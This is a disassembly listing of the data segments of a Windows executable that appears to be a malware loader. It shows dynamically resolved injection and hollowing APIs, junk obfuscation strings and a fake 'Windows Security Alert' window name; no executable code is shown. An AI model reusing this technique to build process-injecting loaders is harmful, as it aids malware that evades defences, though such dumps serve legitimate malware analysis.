; DATA XREF: ...
; int __stdcall MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
extrn MessageBoxA:dword ; CODE XREF: sub_40161C+8Ep
; DATA XREF: sub_40161C+8Er
; LRESULT __stdcall SendMessageA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
extrn SendMessageA:dword ; CODE XREF: StartAddress+35p
; DATA XREF: StartAddress+35r
; BOOL __stdcall IsWindow(HWND hWnd)
extrn IsWindow:dword ; CODE XREF: StartAddress+48p
; DATA XREF: StartAddress+3Br
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 406108h
align 10h
; char aRtlgetcompress[]
aRtlgetcompress db 'RtlGetCompressionWorkSpaceSize',0 ; DATA XREF: sub_401000+42o
align 10h
; char ProcName[]
ProcName db 'RtlDecompressBuffer',0 ; DATA XREF: sub_401000+3Ao
; char LibFileName[]
LibFileName db 'ntdll.dll',0 ; DATA XREF: sub_401000+22o
; sub_4057B2+5o
align 10h
; char Text[]
Text db 'i780897olkgjtyy6w54wtgt54w643r32qrhggfdyu kjhgfjhghgfdhsfdg',0
; DATA XREF: sub_40161C+87o
align 10h
; char Caption[]
Caption db 'hgsfdg76fd78g6fdsuretjwmnbjhfsdghfsgdyfgdasfdasbfjsdfgfdjhhgfkjhg'
; DATA XREF: sub_40161C+82o
db 'kgiyu',0
align 4
; char ModuleName[]
ModuleName db 'kernel32.dll',0 ; DATA XREF: sub_4016F7+DDo
; WinMain(x,x,x,x)+5Ao ...
align 4
; char aWriteprocessme[]
aWriteprocessme db 'WriteProcessMemory',0 ; DATA XREF: sub_4016F7+D8o
; WinMain(x,x,x,x)+F8o
align 4
; char a68hkmgfjgfhjhg[]
a68hkmgfjgfhjhg db '68hkmgfjgfhjhgjgfdsgsfdgfdte',0 ; DATA XREF: sub_40188A+D7o
align 4
; char a6jhgfhgfkjhljh[]
a6jhgfhgfkjhljh db '6jhgfhgfkjhljhfkjhgftre54',0 ; DATA XREF: sub_40188A+B0o
align 4
; char WindowName[]
WindowName db 'Windows Security Alert',0 ; DATA XREF: StartAddress+Ao
align 10h
; char aVirtualalloc[]
aVirtualalloc db 'VirtualAlloc',0 ; DATA XREF: WinMain(x,x,x,x)+55o
align 10h
; char aReadprocessmem[]
aReadprocessmem db 'ReadProcessMemory',0 ; DATA XREF: sub_405778o
align 4
; char aSetthreadconte[]
aSetthreadconte db 'SetThreadContext',0 ; DATA XREF: sub_405795o
align 4
; char aNtunmapviewofs[]
aNtunmapviewofs db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_4057B2o
align 10h
; const CHAR stru_4062A0
stru_4062A0 _msEH <0FFFFFFFFh, offset loc_402204, offset loc_402218>
; DATA XREF: start+2o
; char aCorexitprocess[]
aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: unknown_libname_1+Fo
align 4
; char aMscoree_dll[]
aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: unknown_libname_1o
aRuntimeError db 'runtime error ',0
align 4
db 0Dh,0Ah,0
align 4
aTlossError db 'TLOSS error',0Dh,0Ah,0
align 4
aSingError db 'SING error',0Dh,0Ah,0
align 4
aDomainError db 'DOMAIN error',0Dh,0Ah,0
align 10h
aR6029ThisAppli db 'R6029',0Dh,0Ah
db '- This application cannot run using the active version of the Mic'
db 'rosoft .NET Runtime',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 4
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 4
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio db 0Dh,0Ah
db 'This application has requested the Runtime to terminate it in an '
db 'unusual way.',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_408064o
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o
; ___security_error_handler+132o
align 4
; char asc_406698[]
asc_406698 db 0Ah ; DATA XREF: __NMSG_WRITE+107o
; ___security_error_handler+FCo
db 0Ah,0
align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o
db 0Ah
db 'Program: ',0
align 4
; char a___[]
a___ db '...',0 ; DATA XREF: __NMSG_WRITE+C1o
; ___security_error_handler+CCo
; char aProgramNameUnk[]
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo
; ___security_error_handler+8Bo
byte_4066D3 db 0 ; DATA XREF: __wincmdln+1Bo
align 8
stru_4066D8 _msEH <0FFFFFFFFh, offset loc_4038CF, offset loc_4038D3>
; DATA XREF: sub_4038A2+2o
align 8
stru_4066E8 _msEH <0FFFFFFFFh, offset loc_403913, offset loc_403917>
; DATA XREF: sub_4038E6+2o
; char aGetprocesswind[]
aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o
; char aGetuserobjecti[]
aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o
align 4
; char aGetlastactivep[]
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o
align 4
; char aGetactivewindo[]
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+3Fo
; char aMessageboxa[]
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+2Eo
; char aUser32_dll[]
aUser32_dll db 'user32.dll',0 ; DATA XREF: ___crtMessageBoxA+13o
align 8
stru_406768 _msEH <0FFFFFFFFh, offset sub_404211, offset sub_404215>
; DATA XREF: sub_404225-2Fo
; char aProgram[]
aProgram db 'Program: ',0 ; DATA XREF: ___security_error_handler+108o
align 10h
aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra'
; DATA XREF: ___security_error_handler+62o
db 'm',27h,'s',0Ah
db 'internal state. The program cannot safely continue execution and'
db ' must',0Ah
db 'now be terminated.',0Ah,0
aBufferOverrunD db 'Buffer overrun detected!',0
; DATA XREF: ___security_error_handler:loc_404C0Co
align 10h
aASecurityError db 'A security error of unknown cause has been detected which has',0Ah
; DATA XREF: ___security_error_handler+4Co
db 'corrupted the program',27h,'s internal state. The program cannot sa'
db 'fely',0Ah
db 'continue execution and must now be terminated.',0Ah,0
align 4
; char aUnknownSecurit[]
aUnknownSecurit db 'Unknown security failure detected!',0
; DATA XREF: ___security_error_handler+47o
align 4
stru_406918 _msEH <0FFFFFFFFh, offset loc_404BE7, offset loc_404BEB>
; DATA XREF: ___security_error_handler+5o
dd 41h dup(0)
asc_406A28: ; DATA XREF: .data:off_4082A0o
unicode 0, < ((((( H>
dw 10h
dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
dd 100010h, 200010h, 40h dup(0)
dword_406C28 dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
; DATA XREF: .data:004082A4o
dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h)
dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h)
dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h)
dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h)
dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h
; const WCHAR SrcStr
SrcStr dw 0 ; DATA XREF: ___crtLCMapStringA+1Co
; ___crtGetStringTypeA+1Eo
align 10h
stru_406E30 _msEH <0FFFFFFFFh, offset loc_404FF0, offset loc_404FF4>
; DATA XREF: ___crtLCMapStringA+2o
dd 0FFFFFFFFh, 404DEDh, 404DF1h, 0FFFFFFFFh, 404EBBh, 404EBFh
dd 0
stru_406E58 _msEH <0FFFFFFFFh, offset loc_40518C, offset loc_405190>
; DATA XREF: ___crtGetStringTypeA+2o
align 8
stru_406E68 _msEH <0FFFFFFFFh, offset loc_405382, offset loc_405386>
; DATA XREF: ___convertcp+2o
align 8
dd 48h, 0Eh dup(0)
dd offset dword_408190
dd offset dword_406EC0
dd 2
dword_406EC0 dd 3980h, 46B8h, 0dword_406ECC dd 2 dup(0) ; sub_4038A2:loc_4038B5o
dword_406ED4 dd 0 ; sub_4038E6:loc_4038F9o
dd 6F14h, 2 dup(0)
dd 744Ah, 6000h, 700Ch, 2 dup(0)
dd 7490h, 60F8h, 5 dup(0)
dd 7040h, 7050h, 7062h, 7076h, 7088h, 709Ch, 70B0h, 70C2h
dd 70D2h, 70DEh, 70ECh, 70FAh, 710Eh, 7116h, 712Ch, 713Ch
dd 7152h, 715Eh, 7170h, 7182h, 7192h, 71A0h, 71AEh, 71BCh
dd 71C8h, 71D8h, 71E6h, 702Eh, 7208h, 7214h, 7224h, 7240h
dd 725Ah, 7272h, 728Ch, 72A2h, 72B2h, 72CCh, 72DEh, 72ECh
dd 72F6h, 7302h, 730Eh, 731Ah, 7330h, 7340h, 734Ch, 7366h
dd 7376h, 738Ch, 73A2h, 73BCh, 73CCh, 73E2h, 73F2h, 7404h
dd 7416h, 7428h, 743Ah, 71F4h, 7020h, 0
dd 7482h, 7458h, 7472h, 7466h, 0
dd 724600EFh, 694C6565h, 72617262h, 1980079h, 50746547h
dd 41636F72h, 65726464h, 7373h, 6F4C0248h, 694C6461h, 72617262h
dd 4179h, 6956037Ch, 61757472h, 6575516Ch, 78457972h, 1CD0000h
dd 54746547h, 61657268h, 6E6F4364h, 74786574h, 600000h
dd 61657243h, 72506574h, 7365636Fh, 4173h, 65470177h, 646F4D74h
dd 48656C75h, 6C646E61h, 4165h, 6956037Ah, 61757472h, 6F72506Ch
dd 74636574h, 7845h, 69560374h, 61757472h, 6C6C416Ch, 7845636Fh
dd 2C50000h, 75736552h, 6854656Dh, 64616572h, 2A90000h
dd 64616552h, 656C6946h, 15B0000h, 46746547h, 53656C69h
dd 657A69h, 7243004Dh, 65746165h, 656C6946h, 13A0041h
aGetcurrentproc db 'GetCurrentProcess',0
dw 347h
aSleep db 'Sleep',0
dw 30Ch
aSetfileattribu db 'SetFileAttributesA',0
align 4
aI db 'i',0
aCreatethread db 'CreateThread',0
align 4
db 75h ; u
db 1, 47h, 65h
aTmodulefilenam db 'tModuleFileNameA',0
align 2
dw 206h
aHeapalloc db 'HeapAlloc',0
dw 1AFh
aGetstartupinfo db 'GetStartupInfoA',0
db 8
db 1, 47h, 65h
aTcommandlinea db 'tCommandLineA',0
dw 1DFh
aGetversionexa db 'GetVersionExA',0
dw 20Ah
aHeapdestroy db 'HeapDestroy',0
db 8
db 2, 48h, 65h
aApcreate db 'apCreate',0
align 2
dw 376h
aVirtualfree db 'VirtualFree',0
db 0Ch
db 2, 48h, 65h
aApfree db 'apFree',0
align 4
db 73h ; s
db 3, 56h, 69h
aRtualalloc db 'rtualAlloc',0
align 4
db 10h
db 2, 48h, 65h
aAprealloc db 'apReAlloc',0
aP db '¯',0
aExitprocess db 'ExitProcess',0
db 4Fh ; O
db 3, 54h, 65h
aRminateprocess db 'rminateProcess',0
align 4
db 94h ; ”
db 3, 57h, 72h
aItefile db 'iteFile',0
db 0B1h ; ±
db 1, 47h, 65h
aTstdhandle db 'tStdHandle',0
align 4
db 60h ; `
db 3, 55h, 6Eh
aHandledexcepti db 'handledExceptionFilter',0
align 10h
aA db 'í',0
aFreeenvironmen db 'FreeEnvironmentStringsA',0
dw 14Dh
aGetenvironment db 'GetEnvironmentStrings',0
aU db 'î',0
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
db 87h ; ‡
db 3, 57h, 69h
aDechartomultib db 'deCharToMultiByte',0
dw 169h
aGetlasterror db 'GetLastError',0
align 2
dw 14Fh
aGetenvironme_0 db 'GetEnvironmentStringsW',0
align 4
dd 65530317h, 6E614874h, 43656C64h, 746E756Fh, 15E0000h
dd 46746547h, 54656C69h, 657079h, 654700F5h, 50434174h
dd 18B0000h, 4F746547h, 50434D45h, 0FC0000h, 43746547h
dd 666E4950h, 2CA006Fh, 556C7452h, 6E69776Eh, 21F0064h
aInterlockedexc db 'InterlockedExchange',0
db 7Bh ; {
db 3, 56h, 69h
aRtualquery db 'rtualQuery',0
align 10h
db 12h
db 2, 48h, 65h
aApsize db 'apSize',0
align 4
db 97h ; —
db 2, 51h, 75h
aEryperformance db 'eryPerformanceCounter',0
dw 1D5h
aGettickcount db 'GetTickCount',0
align 2
dw 13Eh
aGetcurrentthre db 'GetCurrentThreadId',0
align 4
db 3Bh ; ;
db 1, 47h, 65h
aTcurrentproces db 'tCurrentProcessId',0
dw 1C0h
aGetsystemtimea db 'GetSystemTimeAsFileTime',0
db 3Ah ; :
db 2, 4Ch, 43h
aMapstringa db 'MapStringA',0
align 4
db 6Bh ; k
db 2, 4Dh, 75h
aLtibytetowidec db 'ltiByteToWideChar',0
dw 23Bh
aLcmapstringw db 'LCMapStringW',0
align 2
dw 1B2h
aGetstringtypea db 'GetStringTypeA',0
align 4
dd 654701B5h, 72745374h, 54676E69h, 57657079h, 16C0000h
dd 4C746547h, 6C61636Fh, 666E4965h, 416Fh, 69560379h, 61757472h
dd 6F72506Ch, 74636574h, 1BB0000h, 53746547h, 65747379h
dd 666E496Dh, 454B006Fh, 4C454E52h, 642E3233h, 6C6Ch, 654D01DEh
dd 67617373h, 786F4265h, 1AD0041h, 69577349h, 776F646Eh
dd 23B0000h, 646E6553h, 7373654Dh, 41656761h, 0E30000h
dd 646E6946h, 646E6957h, 41776Fh, 52455355h, 642E3233h
dd 6C6Ch, 41564441h, 32334950h, 6C6C642Eh, 56h dup(0)
_rdata ends
; Section 3. (virtual address 00008000)
; Virtual size : 0002E87C ( 190588.)
; Section size in file : 00000400 ( 1024.)
; Offset to raw data for section: 00006200
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 408000h
dword_408000 dd 0 dd offset ___security_init_cookie
dd offset sub_405778
dd offset sub_405795
dd offset sub_4057B2
dword_408014 dd 0 dword_408018 dd 0 dd offset ___onexitinit
dd offset ___initmbctable
dword_408024 dd 0 dword_408028 dd 0 dword_40802C dd 0 dword_408030 dd 0 dword_408034 dd 3 dup(0) dword_408040 dd 6600h ; sub_4011D1+A1r ...
align 10h
off_408050 dd offset __exit ; DATA XREF: __amsg_exit+1Cr
dword_408054 dd 2 ; __FF_MSGBANNER+Er
dd 10h, 0
dword_408060 dd 2 ; __NMSG_WRITE+3Ar
off_408064 dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r
; __NMSG_WRITE+112r ...
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 40661Ch, 9, 4065F0h, 0Ah, 406558h, 10h, 40652Ch
dd 11h, 4064FCh, 12h, 4064D8h, 13h, 4064ACh, 18h, 406474h
dd 19h, 40644Ch, 1Ah, 406414h, 1Bh, 4063DCh, 1Ch, 4063B4h
dd 1Dh, 406310h, 78h, 4062FCh, 79h, 4062ECh, 7Ah, 4062DCh
dd 0FCh, 4062D8h, 0FFh, 4062C8h
dword_4080F8 dd 0C0000005h, 0Bh, 0 dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
dd 0C000008Dh, 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
dd 0C0000090h, 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_408170 dd 3 dword_408174 dd 7 dword_408178 dd 0Ah dword_40817C dd 8Ch ; __XcptFilter+BAw ...
dd 0FFFFFFFFh, 0A80h, 2 dup(0)
dword_408190 dd 0BB40E64Eh ; sub_404225r ...
align 8
byte_408198 db 1 ; DATA XREF: __setmbcp+120r
db 2, 4, 8
align 10h
dword_4081A0 dd 3A4h dword_4081A4 dd 82798260h dd 21h, 0
dword_4081B0 dd 0DFA6h align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_408290 dd 19930520h, 3 dup(0) ; __NLG_Notify+2o
off_4082A0 dd offset asc_406A28 ; DATA XREF: _x_ismbbtype+18r
; __ismbcspace:loc_4056B1r ...
; " ((((( H"
dd offset dword_406C28+2
dd 1, 0
dword_4082B0 dd 1 dd 2Eh, 1, 0
byte_4082C0 db 0 ; DATA XREF: sub_4011D1+49w
; sub_40142E+2Ew ...
align 4
dword_4082C4 dd 0 ; sub_4011D1+Er ...
; HANDLE hFile
hFile dd 0 ; DATA XREF: sub_40188A+23w
; sub_40188A+4Cr
byte_4082CC db 0 ; DATA XREF: sub_4011D1+1Bw
; sub_4011D1+43w ...
align 10h
; HANDLE hThread
hThread dd 0 ; DATA XREF: sub_4016F7+150w
; sub_40185Er
; struct _MEMORY_BASIC_INFORMATION Buffer
Buffer _MEMORY_BASIC_INFORMATION <0> ; DATA XREF: sub_401604+4o
; sub_40161C:loc_4016B0r
dd 2 dup(0)
dword_4082F8 dd 0 byte_4082FC db 0 ; DATA XREF: sub_4011D1+2Bw
; sub_4011D1+34w ...
align 10h
byte_408300 db 0 ; DATA XREF: sub_4011AC+17w
; sub_4011D1+85o ...
dword_408301 dd 0 ; sub_4011D1+C4r ...
align 4
dd 4 dup(0)
byte_408318 db 0 ; DATA XREF: sub_4011D1+B5w
align 4
dd 9 dup(0)
byte_408340 db 0 ; DATA XREF: sub_4011D1+62w
align 4
dd 27h dup(0)
byte_4083E0 db 0 ; DATA XREF: sub_4011D1+113w
align 4
dd 7 dup(0)
dd 0B7AAh dup(?)
dword_4362A8 dd ? ; int dword_4362AC
dword_4362AC dd ? ; sub_40188A+7Ar ...
; int dword_4362B0
dword_4362B0 dd ? ; WinMain(x,x,x,x)+137r ...
dword_4362B4 dd ? ; WinMain(x,x,x,x)+16Fr
byte_4362B8 db ? ; DATA XREF: sub_40185E+6w
; WinMain(x,x,x,x)+17Dw
align 4
; DWORD nNumberOfBytesToRead
nNumberOfBytesToRead dd ? ; DATA XREF: sub_4011D1+25r
; sub_40188A+2Ew ...
dword_4362C0 dd ? ; sub_4016F7+74w ...
dword_4362C4 dd ? ; resolved to->KERNEL32.ReadProcessMemory ; sub_405778+17w
dword_4362C8 dd ? ; resolved to->NTDLL.ZwUnmapViewOfSection ; sub_4057B2+17w
dword_4362CC dd ? ; resolved to->KERNEL32.SetThreadContext ; sub_405795+17w
; char *Str
Str dd ? ; DATA XREF: start+11Cw
; __setenvp:loc_403312r ...
align 8
dword_4362D8 dd ? dword_4362DC dd ? ; int dword_4362E0
dword_4362E0 dd ? ; _realloc:loc_404AB8r ...
align 10h
dword_4362F0 dd ? dword_4362F4 dd ? dword_4362F8 dd ? dword_4362FC dd ? ; ___heap_select+9r ...
dword_436300 dd ? dword_436304 dd ? dword_436308 dd ? align 10h
; void *dword_436310
dword_436310 dd ? ; __setenvp:loc_4033B1r ...
align 10h
dword_436320 dd ? align 8
byte_436328 db ? ; DATA XREF: _doexit+2Dw
align 4
dword_43632C dd ? dword_436330 dd ? dword_436334 dd ? dword_436338 dd ? ; __XcptFilter+73w ...
align 10h
; char Filename[]
Filename db 104h dup(?) ; DATA XREF: __setargv+1Co
byte_436444 db ? ; DATA XREF: __setargv+23w
align 4
dword_436448 dd ? ; ___crtGetEnvironmentStringsA+24w ...
dword_43644C dd ? ; ___crtMessageBoxA+38w ...
dword_436450 dd ? ; ___crtMessageBoxA:loc_403F8Er
dword_436454 dd ? ; ___crtMessageBoxA+D6r
dword_436458 dd ? ; ___crtMessageBoxA:loc_403F49r
dword_43645C dd ? ; ___crtMessageBoxA+9Cr
dword_436460 dd ? ; __setmbcp+21w ...
align 8
dword_436468 dd ? ; __ValidateEH3RN+13Fr ...
align 10h
dword_436470 dd ? ; __ValidateEH3RN+1C4r ...
dd 0Fh dup(?)
; volatile LONG Target
Target dd ? ; DATA XREF: __ValidateEH3RN+12Co
; __ValidateEH3RN+191o ...
dword_4364B4 dd ? align 10h
; LCID dword_4364C0
dword_4364C0 dd ? ; ___crtGetStringTypeA+14Ar ...
align 10h
; UINT dword_4364D0
dword_4364D0 dd ? ; ___crtLCMapStringA+9Dr ...
align 8
dword_4364D8 dd ? ; ___crtLCMapStringA+31w ...
dword_4364DC dd ? ; ___crtGetStringTypeA+2Ew ...
; LCID Locale
Locale dd ? ; DATA XREF: _setSBCS+1Aw
; _setSBUpLow+84r ...
dword_4364E4 dd ? ; __setmbcp+14Dw ...
dd 6 dup(?)
byte_436500 db ? ; DATA XREF: _setSBCS+6o __setmbcp+A7o ...
byte_436501 db ? ; DATA XREF: _parse_cmdline+47r
; _parse_cmdline+11Dr ...
align 4
dd 40h dup(?)
; UINT CodePage
CodePage dd ? ; DATA XREF: _setSBCS+10w
; _setSBUpLow+16r ...
align 10h
dword_436610 dd 4 dup(?) ; __setmbcp+162o ...
byte_436620 db ? ; DATA XREF: _setSBUpLow:loc_4043E1w
; _setSBUpLow:loc_4043FEw ...
align 4
dd 3Fh dup(?)
; UINT uNumber
uNumber dd ? ; DATA XREF: __ioinit+1Fw
; __ioinit:loc_403780r ...
dd 7 dup(?)
dword_436740 dd ? ; __ioinit+3Cr ...
dword_436744 dd 3Fh dup(?) dword_436840 dd ? dword_436844 dd ? ; _doexit:loc_402ED3r ...
; void *dword_436848
dword_436848 dd ? dword_43684C dd ? ; __setenvp+3r ...
dword_436850 dd ? ; void *dword_436854
dword_436854 dd ? ; ___sbh_free_block+21Cr ...
dword_436858 dd ? ; ___sbh_find_blockr ...
; LPVOID lpMem
lpMem dd ? ; DATA XREF: ___sbh_heap_init+15w
; ___sbh_find_block+8r ...
dword_436860 dd ? ; ___sbh_heap_init+36w ...
dword_436864 dd ? ; ___sbh_free_block+300w ...
dword_436868 dd ? ; ___sbh_alloc_new_region+5r ...
dword_43686C dd ? ; ___sbh_free_block+249r ...
; HANDLE hHeap
hHeap dd ? ; DATA XREF: __heap_alloc+38r
; __heap_init+19w ...
dword_436874 dd ? ; __heap_alloc:loc_401B98r ...
dword_436878 dd ? ; __wincmdln:loc_4032B4r ...
align 200h
_data ends
end start